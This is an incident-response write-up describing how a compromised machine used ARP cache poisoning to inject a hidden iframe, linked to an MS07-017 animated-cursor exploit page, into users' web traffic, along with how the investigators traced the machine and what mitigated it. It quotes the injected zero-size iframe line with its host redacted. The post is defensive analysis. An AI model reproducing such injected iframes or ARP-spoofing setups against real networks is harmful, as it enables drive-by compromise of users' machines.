ARP Cache Poisoning Incident
I recently worked on an interesting incident response with several of my colleagues. The problem, as defined by the customer, is that the following code is being injected into some websites (both external and internal to his environment) that his users are surfing:
<iframe src=https://<redacted>/ 123.htm width=0 height=0></iframe>
The page referenced (123.htm) includes a link to a .jpg file that exploits the animated cursor vulnerability in MS07-017 and some additional obfuscated javascript. The effect of this is that an unpatched machine surfing to any website (cnn.com, for example) would load the specially crafted .jpg file and execute code of the attacker’s choice.
At first, we thought this was being injected by a browser helper object or something similar on the client machine. There was no indication of anything malicious running on the client machine based on the data we looked at. We took a network trace from the client machine and saw that the iframe was being returned across the network. This would indicate that either the attack was originating in an NDIS driver of some sort (*) or that it was originating on his network.
Fortunately, the customer was able to mirror the client machine’s port on his switch and run a network trace from the mirrored port. In that trace, we _also_ see the iframe being returned across the network, apparently from the web server. This was a firm indication that the attack was originating on his network.
Looking back at the network trace, we saw a large number of gratuitous arp packets for the IP address of the default gateway. The MAC address that is being returned as corresponding to the default gateway is for a Compaq NIC(**); however, the default gateway is a Cisco device with a different MAC address. Based on this, we determined that this machine was mounting an ARP cache poisoning attack (***) to perform a man-in-the-middle attack and inserting the iframe into HTTP communications where the response was an html doc.
When we took this one machine off the network, everything returned to normal. This was a good sign that we were headed in the right direction.
We gathered further data off of the compromised machine. Based on that data, we can see that the machine has had winpcap and other software installed. Winpcap and the other software allows the attacker to perform the ARP spoofing, routing all the traffic destined for their default gateway through this machine first, and to insert the iframe into HTTP responses that include HTML documents.
This incident is very interesting to me because it marks the first time I've seen ARP spoofing used in an automated way like this. Apparently, there are at least a few worms on the loose that do this (Worm.Delf.fs, specifically) but, so far, they have had low volume. This type of attack definitely ratchets up the importance of installing the latest security updates -- in this case, an unpatched machine could have been compromised even by surfing to an internal website.
(*) My reasoning here is that Netmon plugs into the network stack fairly low. In general terms, it looks like this:
IE --> Winsock --> TDI --> TCPIP.SYS --> NDIS --> Hardware
The Netmon Agent sits between TCPIP.SYS and NDIS on NDIS’s upper edge. For something to show up in a network capture, it would have to originate either in NDIS or on the network.
(**) Ethernet MAC addresses are divided into two parts. The first three octets (00:50:8b in this case) are identifiers for particular manufacturers (Compaq in this case) and the last three octets are a unique identifier. The list of vendor identifiers can be found here -- https://standards.ieee.org/regauth/oui/index.shtml.
(***) ARP cache poisoning references:
https://en.wikipedia.org/wiki/ARP_spoofing
https://www.watchguard.com/infocenter/editorial/135324.asp
https://www.grc.com/nat/arp.htm
As noted in the Wikipedia article, we could have used static ARP entries as mitigation if we hadn’t been able to quickly identify the machine that was staging the attack.